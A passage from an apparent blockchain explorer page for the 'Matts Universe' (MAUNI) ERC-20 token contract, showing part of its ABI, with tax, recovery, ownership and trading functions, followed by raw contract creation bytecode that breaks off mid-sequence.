IERC20","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverERC20","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverETH","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[2]","name":"attrs","type":"bytes32[2]"}],"name":"safeRecovery","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRecipient","type":"address"}],"name":"updateTaxRecipient","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewConfigOptions","outputs":[{"internalType":"bool","name":"$FAIR_MODE","type":"bool"},{"internalType":"bool","name":"$SELL_CAP","type":"bool"},{"internalType":"bool","name":"$TAX_STATS","type":"bool"},{"internalType":"bool","name":"$GAS_LIMITER","type":"bool"},{"internalType":"bool","name":"$AUTO_LIQUIDITY","type":"bool"},{"internalType":"bool","name":"$TRADING_ENABLED","type":"bool"},{"internalType":"bool","name":"$AUTOSWAP_ENABLED","type":"bool"},{"internalType":"bool","name":"$AUTOSWAP_THRESHOLD","type":"bool"},{"internalType":"bool","name":"$FRONTRUN_PROTECTION","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"viewConfigValues","outputs":[{"internalType":"uint16","name":"disableFairModeAt","type":"uint16"},{"internalType":"uint16","name":"surchargeRate","type":"uint16"},{"internalType":"uint8","name":"maxSellOnBlock","type":"uint8"},{"internalType":"uint8","name":"frontRunThreshold","type":"uint8"},{"internalType":"uint120","name":"maxTokenAllowed","type":"uint120"},{"internalType":"uint24","name":"preferredGasValue","type":"uint24"},{"components":[{"internalType":"uint16","name":"buyTax","type":"uint16"},{"internalType":"uint16","name":"sellTax","type":"uint16"},{"internalType":"uint16","name":"transferTax","type":"uint16"}],"internalType":"struct TaxSettings","name":"taxSettings","type":"tuple"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60a0604052306080526200008173ab1c0dedc9038b91783fcc6be6cf4333d4dc0aae5f527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020527f60e7adbac3586484339d0cbd2b3e7998557c155bdfadf0b49ae6ee76a0a9d39380546001600160f01b031661204d60f11b179055600190565b5062000096620000906200029f565b620002af565b6200023c737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000eb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001119190620008d1565b6001600160a01b031663c9c65396608051737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000173573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001999190620008d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020a9190620008d1565b620002186012600a62000a0d565b6200022890633b9aca0062000a1d565b6080516001600160a01b03169190620002fe565b6080516001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002786012600a62000a0d565b6200028890633b9aca0062000a1d565b60405190815260200160405180910390a362000a7d565b5f620002aa6200056c565b905090565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160601b038111156200034b5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640160405180910390fd5b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db15f620003798286620005c7565b90505f620003888333620005c7565b90505f620003ab84737a250d5630b4cf539739df2c5dacb4c659f2488d620005c7565b90505f620003ba8588620005c7565b600185810180546a0100000000000000000000908190046001600160a01b039081165f90815260078b01602081815260408084208c8901548790048616855282528084205f19908190558754879004861685528383528185208c8a015488900487168652835281852081905596548690048516845291815281832096880154949094049092168152939091529091205584546001600160781b0319166001600160781b03881617855590506200047a6200047485620006d3565b62000700565b50620004906200048a846200072d565b620006d3565b506200049c816200075a565b5060018084015486546001600160a01b038a81166c010000000000000000000000009081026001600160601b03938416178a55918a166a010000000000000000000090930416026001600160601b031916179086015562000501856002810162000787565b60018481015490820154604080516001600160a01b036a010000000000000000000094859004811682529390920490921660208201527f8b70aea9d85682063974c2fa4c918890b10178254c15c62a18e29d6524695fca910160405180910390a15050505050505050565b5f303303620005c1575f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152505050503601516001600160a01b03169150620005c49050565b50335b90565b6001600160a01b038181165f908152600484016020908152604091829020825160e08101845281546001600160781b038082168352600160781b82041693820193909352600160f01b9283900460ff1693810193909352600181015464ffffffffff80821660608601526501000000000082041660808501526a0100000000000000000000810490941660a0840152920461ffff1660c08201526200066c906200086e565b620006cd57600181018054600160501b600160f01b0319166a01000000000000000000006001600160a01b038516021790819055600160f01b900461ffff1660021781600101601e6101000a81548161ffff021916908361ffff1602179055505b92915050565b600181018054600160f01b80820461ffff1661080017026001600160f01b039091161790555f81620006cd565b600181018054600160f01b80820461ffff1661100017026001600160f01b039091161790555f81620006cd565b600181018054600160f01b80820461ffff1661400017026001600160f01b039091161790555f81620006cd565b600181018054600160f01b80820461ffff1661040017026001600160f01b039091161790555f81620006cd565b805467ffffffffffff000062ffffff60b81b011916790493e000000000000000000000000000000003030ce4003b000017815560018101805465ffffffffffff1916650bb80bb80bb8179055620007df815f62000883565b50620007ed81600162000883565b50620007fb81600262000883565b506200080981600462000883565b506200081781600662000883565b506200082581600762000883565b50600182015462000842906032906001600160601b031662000a37565b8154600160401b600160b81b0319166001600160601b0391909116680100000000000000000217905550565b60c08101515f90600190811c811614620006cd565b81545f9061ffff16620008b5836008811115620008a457620008a462000a69565b600160ff9091161b61ffff83161890565b845461ffff191661ffff91909116908117909455509192915050565b5f60208284031215620008e2575f80fd5b81516001600160a01b0381168114620008f9575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200095457815f190482111562000938576200093862000900565b808516156200094657918102915b93841c939080029062000919565b509250929050565b5f826200096c57506001620006cd565b816200097a57505f620006cd565b81600181146200099357600281146200099e57620009be565b6001915050620006cd565b60ff841115620009b257620009b262000900565b50506001821b620006cd565b5060208310610133831016604e8410600b8410161715620009e3575081810a620006cd565b620009ef838362000914565b805f190482111562000a055762000a0562000900565b029392505050565b5f620008f960ff8416836200095c565b8082028115828204841417620006cd57620006cd62000900565b5f6001600160601b038381168062000a5d57634e487b7160e01b5f52601260045260245ffd5b92169190910492915050565b634e487b7160e01b5f52602160045260245ffd5b60805161378562000ac75f395f81816107790152818161081401528181610ad301528181610d260152818161165b0152818161277e015281816128bc015261292301526137855ff3fe60806040526004361061017b575f3560e01c8063818285a0116100d1578063ace3a8a71161007c578063d6a581c311610057578063d6a581c314610509578063dd62ed3e146106ae578063f2fde38b14610711575f80fd5b8063ace3a8a714610454578063b93050b914610484578063d3335553146104ea575f80fd5b80638da5cb5b116100ac5780638da5cb5b146103ba57806395d89b41146103f0578063a9059cbb14610435575f80fd5b8063818285a0146103685780638980f11f146103875780638a8c523c146103a6575f80fd5b8063313ce56711610131578063620f6a761161010c578063620f6a76146102d757806370a08231146102f6578063715018a614610352575f80fd5b8063313ce56714610289578063378dc3dc146102a457806342966c68146102b8575f80fd5b80630b5b2dbe116101615780630b5b2dbe1461020c57806318160ddd1461021f57806323b872dd1461026a575f80fd5b806306fdde0314610186578063095ea7b3146101dd575f80fd5b3661018257005b5f80fd5b348015610191575f80fd5b5060408051808201909152600e81527f4d6174747320556e69766572736500000000000000000000000000000000000060208201525b6040516101d491906132d8565b60405180910390f35b3480156101e8575f80fd5b506101fc6101f736600461331e565b610730565b60405190151581526020016101d4565b6101fc61021a366004613348565b61074d565b34801561022a575f80fd5b507f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546bffffffffffffffffffffffff165b6040519081526020016101d4565b348015610275575f80fd5b506101fc610284366004613369565b610923565b348015610294575f80fd5b50604051601281526020016101d4565b3480156102af575f80fd5b5061025c610a18565b3480156102c3575f80fd5b506101fc6102d23660046133a7565b610a35565b3480156102e2575f80fd5b506101fc6102f13660046133be565b610a4f565b348015610301575f80fd5b5061025c610310366004613446565b6001600160a01b03165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db560205260409020546001600160781b031690565b34801561035d575f80fd5b50610366610a69565b005b348015610373575f80fd5b506101fc610382366004613446565b610a7c565b348015610392575f80fd5b506101fc6103a136600461331e565b610ad0565b3480156103b1575f80fd5b50610366610b9e565b3480156103c5575f80fd5b505f546103d8906001600160a01b031681565b6040516001600160a01b0390911681526020016101d4565b3480156103fb575f80fd5b5060408051808201909152600581527f4d41554e4900000000000000000000000000000000000000000000000000000060208201526101c7565b348015610440575f80fd5b506101fc61044f36600461331e565b610bae565b34801561045f575f80fd5b505f8051602061373083398151915254600160601b90046001600160a01b03166103d8565b34801561048f575f80fd5b50610498610bc1565b604080519915158a5297151560208a01529515159688019690965292151560608701529015156080860152151560a0850152151560c084015290151560e08301521515610100820152610120016101d4565b3480156104f5575f80fd5b506101fc6105043660046133a7565b610d1c565b348015610514575f80fd5b5060408051606080820183525f8083526020808401829052928401528251610100810184527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482168487019081526401000000008085048416868a019081526601000000000000860460ff908116888a019081526701000000000000008804909116608089019081526801000000000000000088046001600160781b031660a08a01908152600160b81b90980462ffffff1660c08a019081528c519a8b018d527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db4548089168c5296870488169b8b019b909b52929094049094169887019890985260e09094018590529251905192519551915194519095929492939192916040805161ffff988916815296881660208089019190915260ff968716888301529590941660608701526001600160781b03909216608086015262ffffff1660a08501528051851660c085015291820151841660e08401520151909116610100820152610120016101d4565b3480156106b9575f80fd5b5061025c6106c8366004613461565b6001600160a01b039182165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db86020908152604080832093909416825291909152205490565b34801561071c575f80fd5b5061036661072b366004613446565b610db4565b5f61074361073c610e44565b8484610e52565b5060015b92915050565b5f610756610e64565b5f80516020613730833981519152805460ff191660011790556001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020526040812054612710906107e29061ffff8616906001600160781b03166134ac565b6107ec91906134d7565b6001600160781b03169050737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d719347f0000000000000000000000000000000000000000000000000000000000000000845f805f805160206137308339815191526001015460405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b039586166004820152602481019490945260448401929092526064830152600160601b900490911660848201524260a482015260c40160606040518083038185885af11580156108cd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108f29190613508565b50505060019150505f61090f5f8051602061373083398151915290565b805460ff1916911515919091179055919050565b5f8061092d610e44565b6001600160a01b038681165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db860209081526040808320938516835292905220549091505f1981146109fe57808411156109dc576040517f91beda240000000000000000000000000000000000000000000000000000000081526001600160a01b0380841660048301528716602482015260448101829052606481018590526084015b60405180910390fd5b5f8482116109ea575f6109ee565b8482035b90506109fc8784835f610ed3565b505b610a09868686611046565b506001925050505b9392505050565b610a246012600a613613565b610a3290633b9aca00613621565b81565b5f610a47610a41610e44565b83611eff565b506001919050565b5f610a58610e64565b610a6182612026565b90505b919050565b610a71610e64565b610a7a5f612037565b565b5f610a85610e64565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db280546bffffffffffffffffffffffff16600160601b6001600160a01b038516021790556001610743565b5f7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031603610b525760405162461bcd60e51b815260206004820152601c60248201527f43616e206e6f7420776974686472617720746f6b656e732073656c660000000060448201526064016109d3565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db254600160601b90046001600160a01b0390811690610b94908516828561209e565b5060019392505050565b610ba6610e64565b610a7a61211e565b5f610b94610bba610e44565b8484611046565b5f8080808080808080805f805160206137308339815191526040805161010081018252600283015461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046001600160781b031660a0880152600160b81b90950462ffffff1660c0870152865194850187526003909701548084168552918204831690840152949094049093169183019190915260e08101919091529050610ca6815f612316565b9950610cb3816001612316565b9850610cc0816002612316565b9750610ccd816003612316565b9650610cda816004612316565b9550610ce7816005612316565b9450610cf4816006612316565b9350610d01816007612316565b9250610d0e816008612316565b915050909192939495969798565b5f815f03610d54577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031631610d56565b815b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db254604051919350600160601b90046001600160a01b0316906108fc8415029084905f818181858888f19350505050158015610743573d5f803e3d5ffd5b610dbc610e64565b6001600160a01b038116610e385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109d3565b610e4181612037565b50565b5f610e4d612341565b905090565b610e5f8383836001610ed3565b505050565b610e6c610e44565b6001600160a01b0316610e7d61239a565b6001600160a01b031614610a7a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109d3565b6001600160a01b038416610f15576040517f8bc146c40000000000000000000000000000000000000000000000000000000081525f60048201526024016109d3565b6001600160a01b038316610f57576040517f4e15efda0000000000000000000000000000000000000000000000000000000081525f60048201526024016109d3565b5f610f71855f805160206137308339815191525b906123a3565b90505f610f8b855f80516020613730833981519152610f6b565b6001838101546001600160a01b03600160501b9182900481165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db8602090815260408083209587015494909404909216815292905290208590559050821561103e57846001600160a01b0316866001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258660405161103591815260200190565b60405180910390a35b505050505050565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046001600160781b031660a0880152600160b81b90950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e08101919091525f905f80516020613730833981519152908261115b83886123a3565b90505f61116884886123a3565b6001830154909150600160501b90046001600160a01b03166111b8576040517f4c14f64c0000000000000000000000000000000000000000000000000000000081525f60048201526024016109d3565b6001810154600160501b90046001600160a01b0316611205576040517f17858bbe0000000000000000000000000000000000000000000000000000000081525f60048201526024016109d3565b5f6116518488604051806101400160405280611229611222610e44565b8b906123a3565b6040518060e00160405290815f82015f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201600f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b0316815260200160018201601e9054906101000a900461ffff1661ffff1661ffff16815250508152602001876040518060e00160405290815f82015f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201600f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b0316815260200160018201601e9054906101000a900461ffff1661ffff1661ffff16815250508152602001866040518060e00160405290815f82015f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201600f9054906101000a90046001600160781b03166001600160781b03166001600160781b031681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a90046001600160a01b03166001600160a01b03166001600160a01b0316815260200160018201601e9054906101000a900461ffff1661ffff1661ffff168152505081526020015f61ffff1681526020015f6001600160781b031681526020015f6001600160781b03168152602001895f015f9054906101000a900460ff16151581526020015f6001600160781b031681526020014364ffffffffff1681526020016040518060a001604052805f600181111561161857611618613638565b600181111561162957611629613638565b81526020015f81526020015f81526020015f815260e08b0151602090910152905291906124b2565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f908152600487016020526040902090915060016101208301515160018111156116a7576116a7613638565b036117175760018261012001516060015160028111156116c9576116c9613638565b141580156116e357505f82608001516001600160781b0316115b156116f9576116f78482846080015161253b565b505b61170884848460a001516125f1565b60019650505050505050610a11565b600182610120015160600151600281111561173457611734613638565b1415801561174e57505f82608001516001600160781b0316115b1561184f576117628482846080015161253b565b50600182610120015160200151600281111561178057611780613638565b141580156117945750611794856002612316565b1561184f5760028261012001516040015160038111156117b6576117b6613638565b1461180757608082015184546001600160781b03600160781b8083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff90911617845561184f565b608082015183546001600160781b03600160781b8083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff9091161783555b611859855f612316565b15611ac3575f8051602061373083398151915254602086015161ffff6201000090920482169116106118b6575f80516020613730833981519152805463ffff0000198116620100009182900461ffff908116600101169091021790555b5f8051602061373083398151915254602086015161ffff6201000090920482169116036119b4575f80516020613730833981519152805463ffff0000198116620100009182900461ffff90811660019081018216909302919091179092557f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db380547f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db4805465ffffffffffff191663019001901790557fffffffffffffffffff000000000000000000000000000000ffffffff0000000081169084169092189092161776ffffffffffffffffffffffffffffff00000000000000001790555b6040805160e08101825284546001600160781b038082168352600160781b8204166020830152600160f01b9081900460ff1692820192909252600185015464ffffffffff8082166060840152650100000000008204166080830152600160501b81046001600160a01b031660a08301529190910461ffff1660c0820152611a3a90612688565b611ac357604082015151608083015160a080850151908801519101906001600160781b039081168284019091161115611ac05760a08701516040517f4c97ce530000000000000000000000000000000000000000000000000000000081526001600160781b039182166004820152818316602482015290831660448201526064016109d3565b50505b6002826101200151602001516002811115611ae057611ae0613638565b03611ee057611af0856005612316565b611b26576040517f12f1f92300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6003826101200151604001516003811115611b4357611b43613638565b03611cad57611b53856001612316565b15611bee576101008201805164ffffffffff9081165f908152600689016020526040808220805460ff198116600160ff9283160182161790915593519092168152205460608701519082169116811115611bec5760608601516040517f539940b600000000000000000000000000000000000000000000000000000000815260ff918216600482015290821660248201526044016109d3565b505b608082015160a08301518254611c10926001600160781b03909116918861269d565b6001600160781b031660e0830152611c29856006612316565b8015611c4157505f8260e001516001600160781b0316115b15611cad5760e08201516001870154611c6a9190600160601b90046001600160a01b031661273f565b60e08201516040516001600160781b0390911681527f4b6c681641ef142cf7c14791ad828c892635e88e8b4b546faa446787e00263659060200160405180910390a15b611cb8856008612316565b15611ee0576040805160e08101825285546001600160781b038082168352600160781b8204166020830152600160f01b9081900460ff1692820192909252600186015464ffffffffff8082166060840152650100000000008204166080830152600160501b81046001600160a01b031660a08301529190910461ffff1660c0820152611d4390612994565b8015611d6957506003826101200151604001516003811115611d6757611d67613638565b145b15611dd157835460ff600160f01b90910481161015611da5578354600160ff600160f01b808404821692909201160260ff60f01b199091161784555b6080850151845460ff918216600160f01b90910490911603611dcc57611dca846129eb565b505b611ee0565b6040805160e08101825284546001600160781b038082168352600160781b8204166020830152600160f01b9081900460ff1692820192909252600185015464ffffffffff8082166060840152650100000000008204166080830152600160501b81046001600160a01b031660a08301529190910461ffff1660c0820152611e5790612994565b8015611e7d57506002826101200151604001516003811115611e7b57611e7b613638565b145b15611ee057825460ff600160f01b90910481161015611eb9578254600160ff600160f01b808404821692909201160260ff60f01b199091161783555b6080850151835460ff918216600160f01b90910490911603611ee057611ede836129eb565b505b611eef84848460a001516125f1565b5060019998505050505050505050565b6001600160a01b0382165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020526040902080545f8051602061373083398151915291906001600160781b031680841115611f835760405163cf47918160e01b81526001600160781b0382166004820152602481018590526044016109d3565b81546effffffffffffffffffffffffffffff1981166bffffffffffffffffffffffff8681166001600160781b03938416039092161783556001840180546bffffffffffffffffffffffff1981169083168790039092169190911790556040518481525f906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b8051602082015190555f6001610a61565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610e5f908490612a2d565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046001600160781b031660a0880152600160b81b90950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e0810191909152612222906005612316565b1561226f5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016109d3565b5f80516020613730833981519152805460601c5f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db560205260408120805461dead928390527f19841034d1be982906ebf6fef8540bcea91a87698b4f93952f2d9eceed7f85188054612710610dac8402049283900393849055909101908190559061230f61230a5f8051602061373083398151915290565b612aa7565b5050505050565b5f610a1182600881111561232c5761232c613638565b845161ffff1660ff9091161c60019081161490565b5f303303612394575f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152505050503601516001600160a01b031691506123979050565b50335b90565b5f610e4d612acc565b6001600160a01b038181165f908152600484016020908152604091829020825160e08101845281546001600160781b038082168352600160781b82041693820193909352600160f01b9283900460ff1693810193909352600181015464ffffffffff8082166060860152650100000000008204166080850152600160501b810490941660a0840152920461ffff1660c082015261243f90612b40565b610747576001810180547fffff0000000000000000000000000000000000000000ffffffffffffffffffff16600160501b6001600160a01b038516021790819055600160f01b900461ffff1660021781600101601e6101000a81548161ffff021916908361ffff16021790555092915050565b6124ba613181565b6020840151516001600160781b03168211156125025760208401515160405163cf47918160e01b81526001600160781b039091166004820152602481018390526044016109d3565b61250c8484612b54565b50606084015161251d908390612dd5565b6001600160781b0390811660a0870152166080850152509192915050565b82546effffffffffffffffffffffffffffff198082166001600160781b0392831684900383161785558354908116908216830182161783556001838101549085015460405192841683525f92600160501b928390046001600160a01b0390811693909204909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35f826001600160781b0316116125e6575f6125e9565b60015b949350505050565b82546effffffffffffffffffffffffffffff198082166001600160781b039283168490038316178555835490811690821683018216178355600183810154908501546040519284168352600160501b918290046001600160a01b03908116939290910416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b60c08101515f90600a1c600190811614610a61565b836126a9826007612316565b156125e9576001600160781b03848401811690808516820190808716830190881682116126d857819350612734565b876001600160781b031681116126f057809350612734565b876001600160781b0316831161270857829350612734565b876001600160781b0316866001600160781b03161161272957859350612734565b8793505050506125e9565b505050949350505050565b5f80516020613730833981519152805460ff1916600117905560408051600280825260608201835283925f9291906020830190803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000815f815181106127af576127af61364c565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561281f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906128439190613660565b816001815181106128565761285661364c565b6001600160a01b03909216602092830291909101909101526040517f791ac947000000000000000000000000000000000000000000000000000000008152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906128e69087905f9086907f000000000000000000000000000000000000000000000000000000000000000090429060040161367b565b5f604051808303815f87803b1580156128fd575f80fd5b505af115801561290f573d5f803e3d5ffd5b50506040516001600160a01b0380861693507f0000000000000000000000000000000000000000000000000000000000000000163180156108fc029250905f818181858888f19350505050158015612969573d5f803e3d5ffd5b5050505f6129815f8051602061373083398151915290565b805460ff19169115159190911790555050565b5f816060015164ffffffffff16826080015164ffffffffff16101580156129c557505f826060015164ffffffffff16115b15610a6457600561ffff16826060015183608001510364ffffffffff1611159050919050565b600181018054600160f01b80820461ffff16600417027dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161790555f81610a61565b5f612a416001600160a01b03841683612e0d565b905080515f14158015612a65575080806020019051810190612a6391906136f5565b155b15610e5f576040517f5274afe70000000000000000000000000000000000000000000000000000000081526001600160a01b03841660048201526024016109d3565b60028101805461ffff19811661ffff9182166020189091169081179091555f90610743565b335f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db5602052805460408220600101545f80516020613730833981519152919061400060f09190911c90811661800090911617151580612b2d578193505b60018103612b3a575f5193505b50505090565b60c08101515f90600190811c811614610a61565b612b5c613181565b8260c0015115612bb5576040805160a081019091528060018152602001600181526020016001815260200160018152604080516060810182525f8082526020828101829052928201529101526101208401525081610747565b610120830180515f6040909101819052905160200152612bd483612e1a565b612bde575f612be1565b60015b610120840151906001811115612bf957612bf9613638565b90816001811115612c0c57612c0c613638565b905250612c1883612efc565b15612c6f5761012083015160016060918201526040805180830182525f80825260208083018290529183018190528251938401835280845290830181905290820152610120840151608001525f6060840152612cf5565b610120830180515f60609091015260e0830151905160800152612c93826008612316565b8015612ca35750612ca383612f1d565b15612cf557610120830180516002606091820152604084810151815180840183525f8082526020808301829052918401528251938401835261ffff909116808452908301819052908201529051608001525b610120830151608001516040015161ffff1660608401526020830151612d1a90612688565b80612d2d5750612d2d8360400151612688565b15612dce576101208301516002602091820152830151612d4c90612688565b15612d8d576101208301805160026040918201526101008501519085015164ffffffffff9091166060918201529051608001515161ffff1690840152612dc7565b61012083018051600360409091015261010084015160208086015164ffffffffff90921660809283015291510151015161ffff1660608401525b5081610747565b5090919050565b5f808261ffff165f03612dec57505f905082612e06565b505061271061ffff82168302046001600160781b03811683035b9250929050565b6060610a1183835f612f3e565b604080516003808252608082019092525f91829190816020015b6040805160e0810182525f8082526020808301829052928201819052606082018190526080820181905260a0820181905260c082015282525f19909201910181612e34579050509050825f0151815f81518110612e9357612e9361364c565b6020026020010181905250826020015181600181518110612eb657612eb661364c565b6020026020010181905250826040015181600281518110612ed957612ed961364c565b6020026020010181905250612eed81612ff0565b80610a115750505060c0015190565b5f612f0a826020015161303d565b80610a615750610a61826040015161303d565b5f612f2b8260200151613066565b80610a615750610a618260400151613066565b606081471015612f7c576040517fcd7860590000000000000000000000000000000000000000000000000000000081523060048201526024016109d3565b5f80856001600160a01b03168486604051612f979190613714565b5f6040518083038185875af1925050503d805f8114612fd1576040519150601f19603f3d011682016040523d82523d5f602084013e612fd6565b606091505b5091509150612fe686838361307b565b9695505050505050565b80515f90815b81811015613036576130208482815181106130135761301361364c565b6020026